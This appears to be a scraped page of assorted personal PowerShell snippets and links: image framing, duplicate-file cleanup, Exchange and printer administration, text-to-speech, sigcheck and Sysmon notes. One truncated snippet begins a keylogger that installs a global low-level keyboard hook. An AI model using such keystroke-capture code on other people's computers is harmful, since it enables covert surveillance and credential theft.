# Call script using:
# powershell.exe -File "AddLogo.ps1" -Filename "C:\Tools\Scripts\File.jpg" -Suffix "-Honor" -TemplateFile "C:\Tools\Scripts\Batch\Template.png"


param([String]$Filename="", [String]$Suffix="", [String]$TemplateFile="")

Add-Type -AssemblyName 'System.Drawing'


if ( $psise ){
$SourceImage = "C:\Tools\Scripts\Batch\test4.jpg"
$Suffix = "-Honor"
$TemplateFile = "C:\Tools\Scripts\Batch\Template-HH.png"
}else{
$SourceImage = $Filename
if ( $Suffix.length -lt 0 ){ $Suffix = "-New" }
}




$SpacingLeft = [Math]::Round( 50 * ( $Image.width / 2400 ) )
$SpacingRight = $SpacingLeft
$SpacingTop = [Math]::Round( 50 * ( $Image.height / 2051 ) )
$SpacingBottom = [Math]::Round( 277 * ( $Image.height / 2051 ) )


Write-Host "Loading picture: $($SourceImage)"
$Image = [System.Drawing.Bitmap]::FromFile($SourceImage)


$FinalImagePath = ( ( $SourceImage | Split-Path -Parent ) + '\' + [System.IO.Path]::GetFileNameWithoutExtension($SourceImage) + $Suffix + ".jpg" )

$Template = [System.Drawing.Bitmap]::FromFile($TemplateFile)
$TemplateResized = New-Object System.Drawing.Bitmap( ( $Image.width + $SpacingLeft + $SpacingRight ).ToInt32($null) , ( $Image.Height + $SpacingTop + $SpacingBottom ).ToInt32($null) )
$TemplateGraphics = [System.Drawing.Graphics]::FromImage($TemplateResized)
$TemplateGraphics.DrawImage($Template, 0, 0, ($Image.width + $SpacingLeft + $SpacingRight ) , ( $Image.Height + $SpacingTop + $SpacingBottom ))





$FinalCanvas = [System.Drawing.Bitmap]::new( ($Image.width + $SpacingLeft + $SpacingRight ).ToInt32($null) , ( $Image.Height + $SpacingTop + $SpacingBottom ).ToInt32($null) )

$g = [System.drawing.graphics]::FromImage($FinalCanvas)
$g.Clear([System.Drawing.Color]::Black)



# Put it there
#$g.DrawImage($Image, $SpacingLeft, $SpacingTop)
#$g.DrawImage($Image, [System.Drawing.Point]::new($SpacingLeft, $SpacingTop) , [System.Drawing.Rectangle]::new(0,0,100,100) )
$g.DrawImage($Image, [System.Drawing.Rectangle]::new($SpacingLeft,$SpacingTop,$Image.width,$Image.height) , [System.Drawing.Rectangle]::new(0,0,$Image.width,$Image.height) , [System.Drawing.GraphicsUnit]::Pixel)

$g.DrawImage($TemplateResized, 0, 0)
#$g.DrawString("test")

# Save it


Write-Host "Saving picture: $FinalImagePath"
$FinalCanvas.Save($FinalImagePath, [System.Drawing.Imaging.ImageFormat]::Jpeg)

Debug another powershell process. I recommend using this in PSISE.
$ProcessList = Get-Process powershell
Enter-PSHostProcess -Process $ProcessList[correctindex]
Get-Runspace
Debug-Runspace -Id [RunspaceIndex]

$Folder = "E:\Recovered_Files"
$ScanSubfolders = $false

$SuffixForDuplicate = " - Copy"

$Files = get-childitem $Folder
$DeletedCount = 0

foreach ( $File in $Files ){
$MatchName = "$($File.BaseName)$($SuffixForDuplicate)$($File.Extension)"
$Match = $Files | Where-Object { $_.Name -eq $MatchName -and $_.Length -eq $File.Length }
if ( $Match.count -gt 0 ){
#Duplicate found!
write-host "Deleting $($Match.FullName)"
Remove-Item $Match.FullName -Force
...<Too long, click to read the rest>

https://powershell.one/tricks/input-devices/detect-key-press

if ([Console]::KeyAvailable)
{
# read the key, and consume it so it won't
# be echoed to the console:
$keyInfo = [Console]::ReadKey($true)
# exit loop
break
}

if ( ! ($PSISE -or $host.name.Contains('Studio'))) {




Keywords: VS Code, Powershell ISE

Check exchange version. The best method is to visit link below and download the health check script. Alternately, the next two commands may show (get-exchangeserver may sometimes show old version).
Get-Command Exsetup.exe | ForEach {$_.FileVersionInfo}
Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion
https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

Get-Mailbox -Identity first.last | fl DisplayName, Name, PrimarySmtpAddress, Se...<Too long, click to read the rest>

#https://hinchley.net/articles/creating-a-key-logger-via-a-global-system-hoo
k-using-powershell/
Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;


namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;
...<Too long, click to read the rest>

### Text to Speech
$Path = "$env:temp\file.wav"
Add-Type -AssemblyName System.Speech
$synthesizer = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer
$synthesizer.SetOutputToWaveFile($Path)
$synthesizer.Speak('This is a recording.')
$synthesizer.Speak('Adding more to it')
$synthesizer.SetOutputToDefaultAudioDevice()
# Play back the recorded file
Invoke-Item $Path



### View properties of an object
Get-Process *note* | ConvertTo-Json | Out-File $env:APPDATA\GM.json ; $IE=new-objec...<Too long, click to read the rest>

Performance comparison of ArrayList, Generic List, hashtable, ordered dictionary, hashset, and stack.
https://www.norlunn.net/2019/10/17/powershell-performance-tips/

GUI Builder
https://poshgui.com/Editor

Online Regex testing
https://regex101.com/

This doesn't actually use Powershell YET...
C:\Tools\SysinternalsSuite\sigcheck.exe -accepteula -e -s -vt -vs -u C:\ > C:\Tools\check.txt


keywords: Sysinternals, Signature, Check, sigcheck.exe, digital signatures

https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

https://www.hanselman.com/blog/signing-powershell-scripts

$Printers = Get-CimInstance -Class Win32_Printer
$DefaultPrinter = ""
$Printer1 = "RICOH MP C6004"
$Printer2 = "HP LaserJet 600"

foreach ( $Printer in $Printers ){
if ( $Printer.Default ){ $DefaultPrinter = $Printer.Name }
}
write-Host "Old Default printer: $($DefaultPrinter)"

if ( $DefaultPrinter -match $Printer1 ){
$NewPrinter = $Printer2
}else{
$NewPrinter = $Printer1
}
foreach ( $Printer in $Printers ){
if ( $Printer.Name -match $NewPrinter ){
Invoke-CimMethod -InputObject $Printer -M...<Too long, click to read the rest>

https://gist.github.com/psrdrgz/f87e73c4a89c4968f4ac67bf99267cc4


Sysmon is a SysInternals tool from Microsoft which allows logging of things
the computer does to the Event Log. It includes things like file
writes/creates/reads, network access, process start/stop, etc.
You can find it in the Event Viewer under:
Applications and Services\Microsoft\Windows\Sysmon\Operational

Here are some powershell commands to parse out useful information:

Get all Sysmon events, this will take a few minutes, do...<Too long, click to read the rest>

https://github.com/mossrich/PowershellRecipes/blob/master/TraySnippets.ps1